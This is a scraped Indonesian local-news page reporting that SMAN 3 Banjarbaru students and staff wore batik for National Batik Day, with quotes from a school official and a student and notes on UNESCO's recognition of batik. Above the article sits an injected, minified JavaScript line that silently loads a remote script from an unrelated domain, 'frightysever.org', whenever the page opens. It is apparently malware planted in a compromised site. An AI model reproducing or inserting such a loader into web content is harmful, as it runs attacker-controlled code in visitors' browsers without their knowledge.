(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Siswa SMAN 3 Banjarbaru Kompak Pakai Batik


BANJARBARU, Hari Batik Nasional juga turut diperingati siswa SMAN 3 Banjarbaru. Senin (2/10), seluruh guru, pegawai hingga siswa kompak mengenakan baju batik di sekolah. Pemandangan ini menjadikan suasana sekolah penuh warna.

Wakasek Humas SMAN 3 Banjarbaru, Trihayat Ariwibowo M.Pd menyampaikan, seragam batik yang dikenakan sebagai wujud nyata mencintai hasil kreasi budaya anak bangsa. ”Batik merupakan warisan nasional yang diakui oleh UNESCO. Kami ingin menumbuhkan kecintaan dan kebanggaan mengenakan kain tradisional, terutama batik ini,” tegasnya.

Tak haya sekadar berseragam batik, pihak sekolah juga memberikan wawasan dan pengalaman mengenai batik serta keanekaragaman budaya. Sebab, corak dan warna batik itu sendiri beranekaragam. “Jadi mereka kami bebaskan untuk memilih pakaian batik mana saja yang mereka suka di hari Batik Nasional ini,” imbuhnya.

Trihayat mengatakan, pesan yang ingin disampaikan kepada para pelajar dan generasi muda umumnya adalah agar mereka benar-benar bangga mengenakan batik. ”Ini nantinya bisa memupuk semangat dan rasa cinta tanah air serta menghargai penuh hasil karya budaya Indonesia. Kami biasanya ada lomba fashion show batik di Porseni, jadi setiap kelas mengenakan batik yang bisa dikreasikan dengan motif dari batik-batik lainnya atau dengan pakaian lainnya,”

Salah seorang siswa kelas XII IPA 4, Ridho Handoko mengatakan bangga bisa memakai baju batik. “Dengan mengenakan batik ini kita bisa mengenalkan budaya Indonesia, karena batik ini sangat kental nuansa Indonesianya. Ini rutin dilaksanakan di sini tiap tahunnya,” jelas Edo.

Pemilihan Hari Batik Nasional pada 2 Oktober berdasarkan keputusan UNESCO yaitu Badan PBB yang membidangi Pendidikan, Ilmu Pengetahuan, dan Kebudayaan, yang secara resmi mengakui batik Indonesia sebagai warisan budaya dunia.

UNESCO memasukkan batik dalam Daftar Representatif Budaya Tak benda Warisan Manusia. Pengakuan terhadap batik merupakan pengakuan internasional terhadap budaya Indonesia, seperti dilansir dari Wikipedia.

Setelah penetapan itu, maka Indonesia memperingatinya sebagai Hari Batik Nasional. Ini juga dikuatkan dengan Keputusan Presiden Nomor 33 Tahun 2009.***


Desy Arfianty

Recent Posts

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

1 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

2 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

2 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

4 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

4 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

18 jam ago

This website uses cookies.